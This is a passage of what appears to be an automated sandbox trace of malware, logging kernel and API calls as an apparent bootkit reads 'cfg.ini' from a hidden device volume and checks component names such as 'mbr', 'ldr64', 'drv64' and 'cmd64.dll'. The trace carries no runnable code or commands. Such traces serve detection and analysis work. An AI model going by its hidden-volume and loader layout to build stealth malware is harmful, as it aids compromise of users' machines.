FastMutex=0xfffffa80027d3898) [0127.965] KeLeaveCriticalRegion () [0127.965] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.966] KeEnterCriticalRegion () [0127.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.966] KeLeaveCriticalRegion () [0127.966] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.966] KeEnterCriticalRegion () [0127.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.966] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.966] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.966] KeLeaveCriticalRegion () [0127.966] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.966] KeEnterCriticalRegion () [0127.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.966] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0127.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.967] KeLeaveCriticalRegion () [0127.967] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.967] ReleaseMutex (hMutex=0xf0) returned 1 [0127.967] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.967] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.967] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.967] KeEnterCriticalRegion () [0127.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.967] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.967] IdePortDispatch () returned 0x103 [0127.967] KeWaitForMutexObject () returned 0x0 [0127.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.967] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.967] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.967] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.967] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.967] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da9e0 [0127.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.967] KeLeaveCriticalRegion () [0127.967] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.967] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.967] KeEnterCriticalRegion () [0127.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.968] KeLeaveCriticalRegion () [0127.968] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.968] KeEnterCriticalRegion () [0127.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.968] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.968] IdePortDispatch () returned 0x103 [0127.968] KeWaitForMutexObject () returned 0x0 [0127.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.968] KeLeaveCriticalRegion () [0127.968] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.968] KeEnterCriticalRegion () [0127.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c81000 [0127.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.968] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.968] IdePortDispatch () returned 0x103 [0127.969] KeWaitForMutexObject () returned 0x0 [0127.969] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.969] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.969] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.969] IdePortDispatch () returned 0x103 [0127.969] KeWaitForMutexObject () returned 0x0 [0127.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.969] KeLeaveCriticalRegion () [0127.969] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.970] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.970] KeEnterCriticalRegion () [0127.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] KeLeaveCriticalRegion () [0127.970] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.970] KeEnterCriticalRegion () [0127.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.970] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] KeLeaveCriticalRegion () [0127.970] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.970] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.970] KeEnterCriticalRegion () [0127.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] ExFreePoolWithTag (P=0xfffffa80037da9e0, Tag=0x0) [0127.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.970] KeLeaveCriticalRegion () [0127.970] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.970] ReleaseMutex (hMutex=0xf0) returned 1 [0127.970] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.971] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.971] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.971] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.971] KeEnterCriticalRegion () [0127.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.971] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.971] IdePortDispatch () returned 0x103 [0127.971] KeWaitForMutexObject () returned 0x0 [0127.971] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.971] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.971] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.971] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.971] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.971] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.971] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.971] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.971] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.971] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.971] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.971] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.971] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.971] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.971] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.971] KeLeaveCriticalRegion () [0127.971] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.972] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.972] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.972] KeEnterCriticalRegion () [0127.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.972] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.972] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.972] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.972] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.972] IdePortDispatch () returned 0x103 [0127.972] KeWaitForMutexObject () returned 0x0 [0127.972] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.972] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.972] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.972] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.972] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.972] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.972] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.972] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.972] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.972] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.972] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.972] KeLeaveCriticalRegion () [0127.972] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.972] ReleaseMutex (hMutex=0x100) returned 1 [0127.973] Sleep (dwMilliseconds=0x2bf20) [0127.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f7aa850, dwHighDateTime=0x1d24fa4)) [0127.981] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.981] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.981] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.981] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.981] KeEnterCriticalRegion () [0127.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.981] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.981] IdePortDispatch () returned 0x103 [0127.982] KeWaitForMutexObject () returned 0x0 [0127.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.982] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.982] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.982] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.982] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.982] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac9760 [0127.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.982] KeLeaveCriticalRegion () [0127.982] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.982] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.982] KeEnterCriticalRegion () [0127.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.982] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.982] KeLeaveCriticalRegion () [0127.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.982] KeEnterCriticalRegion () [0127.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.982] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.982] IdePortDispatch () returned 0x103 [0127.982] KeWaitForMutexObject () returned 0x0 [0127.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.983] KeLeaveCriticalRegion () [0127.983] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.983] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.983] KeEnterCriticalRegion () [0127.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0127.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.983] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.983] IdePortDispatch () returned 0x103 [0127.983] KeWaitForMutexObject () returned 0x0 [0127.983] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.983] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.983] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.983] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.983] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.983] IdePortDispatch () returned 0x103 [0127.984] KeWaitForMutexObject () returned 0x0 [0127.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.984] KeLeaveCriticalRegion () [0127.984] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.984] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.984] KeEnterCriticalRegion () [0127.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.984] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.984] KeLeaveCriticalRegion () [0127.984] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.985] KeEnterCriticalRegion () [0127.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.985] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.985] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac9820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.985] KeLeaveCriticalRegion () [0127.985] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.985] KeEnterCriticalRegion () [0127.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.985] ExFreePoolWithTag (P=0xfffffa8003ac9760, Tag=0x0) [0127.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.985] KeLeaveCriticalRegion () [0127.985] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.985] ReleaseMutex (hMutex=0xf0) returned 1 [0127.985] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.985] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.985] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.985] KeEnterCriticalRegion () [0127.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.985] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.985] IdePortDispatch () returned 0x103 [0127.985] KeWaitForMutexObject () returned 0x0 [0127.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.987] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.987] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.987] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.987] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.987] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfef60 [0127.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.987] KeLeaveCriticalRegion () [0127.987] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.987] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.987] KeEnterCriticalRegion () [0127.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.987] KeLeaveCriticalRegion () [0127.987] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: 